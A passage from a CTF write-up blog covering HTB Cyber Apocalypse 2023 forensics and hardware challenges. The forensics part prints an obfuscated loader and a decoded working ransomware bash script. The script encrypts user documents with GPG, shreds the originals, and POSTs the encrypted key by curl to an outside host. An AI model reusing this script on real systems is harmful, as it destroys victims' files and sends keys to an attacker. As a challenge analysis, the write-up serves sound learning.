1mVHljMMhmWGR1b01WU6h2ROVFZHNVbwJTVL5UbOZVODNmeWVUVHpFWZVjTVFlUsNjWPxGVjBDazYVMNVVZUx2MVlGbsNEeS1WVWhHMWlFeVJmQOhVYtx2VNdXUwQmd0ADTTZ0MjNHZV1EaGJjWzYFRONTT6RmWSh1VUZURa9kSqVlcFhVUpJEWaREbIVmesBTTuZkeZdFbFJGawFlTJh3aXVDbXNlVOxGVwUVVjpXSW10cONDZSx2aUVkT6ZldBRUYyg2VTJTREJFNvZ0YHZlVPtGdH1Uc1IDTVp1aSRDbYdVY0tmWZRGWZVkRw4EMjR1YLl1MOllTFNWNwdkWNlTeNlnTU50VwVUT0kjMLhkTWd1MnpWT6RWMWBlWrZVMFNTU2lEbiJDdH9Uc0lWYEhWRhRTRG5EdGVkTuxmVlBDa6tkMOR1UpZ1aDNDcyE1RkBjY5NHMN1EetJVWaBTVsZURPdXV6p1MsNjUIZEbR5kWwMWRshVY1JkbW5kRuFWYOpmV2YVVSpEbEJFWSVVUFpEMjZXRUlVUktWUPRWVVRHcnNEdwMFT0BTeTRUOFR1QCN1VGRXRJREbFR1QWZUVnFUMSFlQpRlSkVlUDFzUMRHMTxkI9oGZPl3MLdzb0UmV5pGb0lgC7BSKo0UW6RnYzR1Q2YkTYF0M3gHSNZUdKg2chJ2LulmYvEyI
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#39; | r&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">HxJ&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;s&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Hc2&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;as&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">kcE&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;pas&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">cEf&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;ae&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">V9z&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;6&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">P8c&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;if&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">U&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34; -d&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Jc&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;ef&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">N0q&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">v&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;b&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">w&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;e&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;v |&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Tx&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;Eds&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">xZp&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="p">=$(&lt;/span>&lt;span class="n">eval&lt;/span> &lt;span class="s2">&amp;#34;$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">eval&lt;/span> &lt;span class="s2">&amp;#34;$N0q$x$Hc2$rQW&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After using python to concat these strings, I got a &lt;code>base64&lt;/code> string, decoded it and I got a bash script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>uFMHx73AXNF6CTsbtzYM&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">tljyVe4o7K3yOdj&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ==&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$tljyVe4o7K3yOdj&lt;/span> &lt;span class="p">|&lt;/span> base64 --decode &lt;span class="p">|&lt;/span> gpg --import
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> -e &lt;span class="s2">&amp;#34;5\ny\n&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> gpg --command-fd &lt;span class="m">0&lt;/span> --edit-key &lt;span class="s2">&amp;#34;RansomKey&amp;#34;&lt;/span> trust
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">MMYPE1MNIGuGPBmyCUo6&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">DhQ52B6UugM1WcX&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="sb">`&lt;/span>strings /dev/urandom &lt;span class="p">|&lt;/span> grep -o &lt;span class="s1">&amp;#39;[[:alnum:]]&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> head -n &lt;span class="m">16&lt;/span> &lt;span class="p">|&lt;/span> tr -d &lt;span class="s1">&amp;#39;\n&amp;#39;&lt;/span>&lt;span class="sb">`&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$DhQ52B6UugM1WcX&lt;/span> &amp;gt; RxgXlDqP0h3baha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> gpg --batch --yes -r &lt;span class="s2">&amp;#34;RansomKey&amp;#34;&lt;/span> -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> shred -u RxgXlDqP0h3baha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> curl --request POST --data-binary &lt;span class="s2">&amp;#34;@qgffrqdGlfhrdoE&amp;#34;&lt;/span> https://files.pypi-install.com/packages/recv.php
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="o">[[&lt;/span> &lt;span class="si">${&lt;/span>&lt;span class="nv">i&lt;/span>&lt;span class="si">}&lt;/span> !&lt;span class="o">=&lt;/span> *&lt;span class="s2">&amp;#34;*.&amp;#34;&lt;/span>* &lt;span class="o">]]&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$DhQ52B6UugM1WcX&lt;/span> &lt;span class="p">|&lt;/span> gpg --batch --yes -o &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$i&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>.a59ap --passphrase-fd &lt;span class="m">0&lt;/span> --symmetric --cipher-algo AES256 &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$i&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> shred -u &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$i&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">unset&lt;/span> DhQ52B6UugM1WcX
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v0nPa1GinWR3Dr27cnmT&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Just a function to print strings&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ExoPFDWb3uT189e&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> uFMHx73AXNF6CTsbtzYM
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> MMYPE1MNIGuGPBmyCUo6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> v0nPa1GinWR3Dr27cnmT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="o">[[&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>whoami&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;developer7669633432&amp;#34;&lt;/span> &lt;span class="o">]]&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="o">[&lt;/span> -x &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>&lt;span class="nb">command&lt;/span> -v gpg&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">]&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ExoPFDWb3uT189e
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">exit&lt;/span> &lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="2-bash-script-analyze">2. Bash script analyze&lt;/h3>
&lt;p>I used ChatGPT to analyze the script, it was much faster than if I analyzed it by myself. There are two functions that we need to notice, &lt;code>uFMHx73AXNF6CTsbtzYM&lt;/code> and &lt;code>MMYPE1MNIGuGPBmyCUo6&lt;/code>.&lt;/p>
&lt;p>The &lt;code>uFMHx73AXNF6CTsbtzYM&lt;/code> function decodes a &lt;code>base64&lt;/code> string and imports as a key using &lt;code>GPG&lt;/code>.&lt;/p>
&lt;p>The &lt;code>MMYPE1MNIGuGPBmyCUo6&lt;/code> function will generate a random string of &lt;code>16&lt;/code> bytes consists of only alphabet and numbers. Then, it encrypts all files with &lt;code>GPG&lt;/code> using the random string as the private key.&lt;/p>
&lt;p>Now to find private key, we will immediately think of using &lt;code>volatility3&lt;/code> to find the key in the mem file, as they are the only file that hasn&amp;rsquo;t been used. However, in this writeup I will present to you an &lt;code>unintended solution&lt;/code> as I didn&amp;rsquo;t figure out to solve it using &lt;code>vol3&lt;/code> in contest&amp;rsquo;s time.&lt;/p>
&lt;p>My unintended solution was a famous trick in forensics, &lt;code>grep&lt;/code>. I used GPT to generate a grep command to find a string of &lt;code>16&lt;/code> bytes consists of only alphabet and numbers.&lt;/p>
&lt;img src="003.png" alt="dnSpy" width="1000"/>
&lt;p>I try some sussy strings and found that the private key is &lt;code>wJ5kENwyu8amx2RM&lt;/code>. Now we just need to decrypt the flag file and get the flag.&lt;/p>
&lt;p>Flag is &lt;strong>HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}&lt;/strong>&lt;/p>
&lt;h2 id="original-posts">Original Posts&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://junvalentine.github.io/posts/htb-wu-2023/" target="_blank" rel="noopener">From Onirique&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Hardware</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-hw/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-hw/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/hardware/">hardware&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#timed-transmission">Timed transmission&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-and-results">Problem Statement and Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#critical-flight">Critical Flight&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#debug">Debug&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-1">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-1">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#secret-code">Secret Code&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="timed-transmission">Timed transmission&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1wMtr8Zv12tywaXRVWfli1s2YX6RREjdg/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As part of your initialization sequence, your team loaded various tools into your system, but you still need to learn how to use them effectively. They have tasked you with the challenge of finding the appropriate tool to open a file containing strange serial signals. Can you rise to the challenge and find the right tool?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Hardware&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="problem-statement-and-results">Problem Statement and Results&lt;/h3>
&lt;p>What we have is a really strange file with .sal extension. I think the hardest part in this challenge is finding the app can open this file. After searching on Google (and Chatgpt), I found a suitable app called &lt;code>Logic 2&lt;/code>. Open the file and enjoy it :D&lt;/p>
&lt;img src='flag2.png' alt="Flag" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{b391N_tH3_HArdWAr3_QU3St}&lt;/strong>&lt;/p>
&lt;h2 id="critical-flight">Critical Flight&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1wPLpM6tLlZzncKIVRhR4YkUFW9G8EQl9/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your team has assigned you to a mission to investigate the production files of Printed Circuit Boards for irregularities. This is in response to the deployment of nonfunctional DIY drones that keep falling out of the sky. The team had used a slightly modified version of an open-source flight controller in order to save time, but it appears that someone had sabotaged the design before production. Can you help identify any suspicious alterations made to the boards?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Hardware&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="problem-statement">Problem Statement&lt;/h3>
&lt;p>Given a lot of GBR file. Our mission is to somehow find the flag :D.&lt;/p>
&lt;h3 id="results">Results&lt;/h3>
&lt;p>These files are called &lt;code>Gerber files&lt;/code> - a standard file format used in the manufacturing of printed circuit boards (PCBs) to describe the PCB&amp;rsquo;s copper layers, solder mask, legend, and other features. To open this, reader can access this website: &lt;a href="https://www.pcbway.com/project/OnlineGerberViewer.html" target="_blank" rel="noopener">https://www.pcbway.com/project/OnlineGerberViewer.html&lt;/a>. We can easily find all parts of the flag in this board:&lt;/p>
&lt;img src='flag.png' alt="First part" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{533_7h3_1nn32_w02k1n95_0f_313c720n1c5#$@}&lt;/strong>&lt;/p>
&lt;h2 id="debug">Debug&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1wRpklHHBgr2vg_RjEyuSKXO9hFy5cbWn/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your team has recovered a satellite dish that was used for transmitting the location of the relic, but it seems to be malfunctioning. There seems to be some interference affecting its connection to the satellite system, but there are no indications of what it could be. Perhaps the debugging interface could provide some insight, but they are unable to decode the serial signal captured during the device’s booting sequence. Can you help to decode the signal and find the source of the interference?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Hardware&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="problem-statement-1">Problem Statement&lt;/h3>
&lt;p>We received file with .sal extension - which contains a signal capture of a device. Our mission is identify which device is captured and how to decode the signal to decrypt the communication.&lt;/p>
&lt;h3 id="solution-method">Solution Method&lt;/h3>
&lt;p>We use Logic 2 to open this file, then receive this:&lt;/p>
&lt;img src='open.png' alt="Signal" width="1000"/>
&lt;p>There is only one channel with signals so probably we are talking about &lt;code>UART protocol&lt;/code>. For doing that, first we have to calculate the &lt;code>baud rate (bit/s)&lt;/code>.&lt;/p>
&lt;p>To calculate the baud rate in this signal we zoom into the very first signal and see the minimun period of the signal. We can see that the smallest period between two high values is &lt;code>8.68us&lt;/code>. So, &lt;code>1&lt;/code> bit needs at least &lt;code>8.68us&lt;/code> to be transfered. The baud rate therefore must be around &lt;code>115200 (bit/s)&lt;/code>. Let&amp;rsquo;s configure the analyzer with this value:&lt;/p>
&lt;img src='configure.png' alt="Configure" width="1000"/>
&lt;h3 id="results-1">Results&lt;/h3>
&lt;p>The flag is showed at the terminal, after correctly analyze the signal:&lt;/p>
&lt;img src='flag3.png' alt="Flag" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{547311173_n37w02k_c0mp20m153d}&lt;/strong>&lt;/p>
&lt;h2 id="secret-code">Secret Code&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/file/d/134eMVlMGkxsiCsxOttzB9MtmhWOeFrZx/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> To gain access to the tomb containing the relic, you must find a way to open the door. While scanning the surrounding area for any unusual signals, you come across a device that appears to be a fusion of various alien technologies. However, the device is broken into two pieces and you are unable to see the secret code displayed on it. The device is transmitting a new character every second and you must decipher the transmitted signals in order to retrieve the code and gain entry to the tomb.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Hardware&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The challenge gave us a &lt;code>.sal&lt;/code> file and a folder of &lt;code>.gbr&lt;/code> files.&lt;/p>
&lt;p>You can use any Gerber file viewer software to open the &lt;code>.gbrjob&lt;/code> file but in my case I used &lt;a href="https://www.kicad.org" target="_blank" rel="noopener">KiCad&lt;/a> and got the following circuit board.&lt;/p>
&lt;img src="circuit.png" alt="7 segggssment" width="1000"/>
&lt;p>We could clearly see that this was a typical 7-segment LED display. Tracing each channel connection to the LED itself, we got the channels corresponding to the segments on the display as follow, with channel 1 being the dot.&lt;/p>
&lt;img src="led.png" alt="nice paint" width="1000"/>
&lt;p>Next on line is the &lt;code>.sal&lt;/code> file. For this I used &lt;a href="https://www.saleae.com/downloads/" target="_blank" rel="noopener">Logic 2&lt;/a>.&lt;/p>
&lt;img src="saleae.png" alt="bruh how do i even read this" width="1000"/>
&lt;p>I extracted the bits from every channels one by one using channel 1 as the clock signal. I noticed that the machine was sending a hex string so I wrote a script to decode all of it.&lt;/p>
